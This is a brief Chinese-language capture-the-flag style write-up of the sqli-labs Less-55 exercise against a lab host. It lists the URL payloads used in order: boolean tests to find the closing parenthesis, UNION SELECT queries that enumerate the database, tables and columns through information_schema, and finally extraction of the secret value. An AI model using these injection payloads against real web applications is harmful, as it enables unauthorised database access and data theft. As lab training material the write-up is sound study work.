sqli

难点还是快速找到闭合点

http://10.60.17.35:8082/Less-55/?id=1)and+1=1%23

http://10.60.17.35:8082/Less-55/?id=1)and+1=2%23

http://10.60.17.35:8082/Less-55/index.php?id=id=-1)+union+select+1,(database()),user()%23

http://10.60.17.35:8082/Less-55/index.php?id=id=-1)+union+select+1,(select+group_concat(table_name)from+information_schema.TABLES+WHERE+TABLE_schema='challenges'),user()%23

http://10.60.17.35:8082/Less-55/index.php?id=id=-1)++union+select+1,(select+group_concat(column_name)from+information_schema.columns+WHERE+TABLE_schema='challenges'+and+table_name='5uq6lajw6o'),user()%23

http://10.60.17.35:8082/Less-55/index.php?id=id=-1)+union+select+1,(select+GROUP_CONCAT(secret_Q3R0)from challenges.5uq6lajw6o),user()%23

提交mRYe1KdluPEiZrDTZQtW1J7o成功。